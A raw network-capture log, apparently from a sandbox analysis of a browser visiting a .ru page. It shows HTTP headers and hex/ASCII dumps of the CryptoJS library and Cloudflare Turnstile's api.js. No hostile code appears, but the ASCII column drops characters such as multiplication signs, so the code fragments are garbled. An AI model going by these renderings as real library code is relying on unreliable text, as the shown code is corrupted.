en-US,en;q=0.9
2025-03-18 08:10:24 UTC	966	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:24 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 386299 Expires: Sun, 08 Mar 2026 08:10:24 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j3Z7DO2bzJA0CiyUSV1WU%2B7d3Ia15kvj4K96IofOZYVs4fql%2FOQMasd9Qv28LK8CIgr5Yp7sC5S0wJ54dNZCM%2Fkh6oeQ4DuRL6%2BUg3eZqPdpHbw9Z%2Bsc%2BL0drdbd5MtfrRm%2B4AQ7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 922340e1bd97005e-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 08:10:24 UTC	403	IN	Data Raw: 37 62 65 62 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7beb!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a Data Ascii: !=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Obj
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 Data Ascii: .clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.rand
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 Data Ascii: ng"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c Data Ascii: (){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c Data Ascii: >0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 74 2e 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 Data Ascii: t.buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stri
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 72 20 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 Data Ascii: r o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHI
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 2a 61 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 Data Ascii: *a.abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}va
2025-03-18 08:10:24 UTC	1369	IN	Data Raw: 33 2c 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 Data Ascii: 3,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b

Timestamp	Bytes transferred	Direction	Data
2025-03-18 08:10:25 UTC	695	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ruhlamat.brightnexst.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 08:10:25 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 08:10:25 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 922340e719701b53-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 08:10:25 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-18 08:10:25 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-18 08:10:25 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-18 08:10:25 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-18 08:10:25 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-18 08:10:25 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-18 08:10:25 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
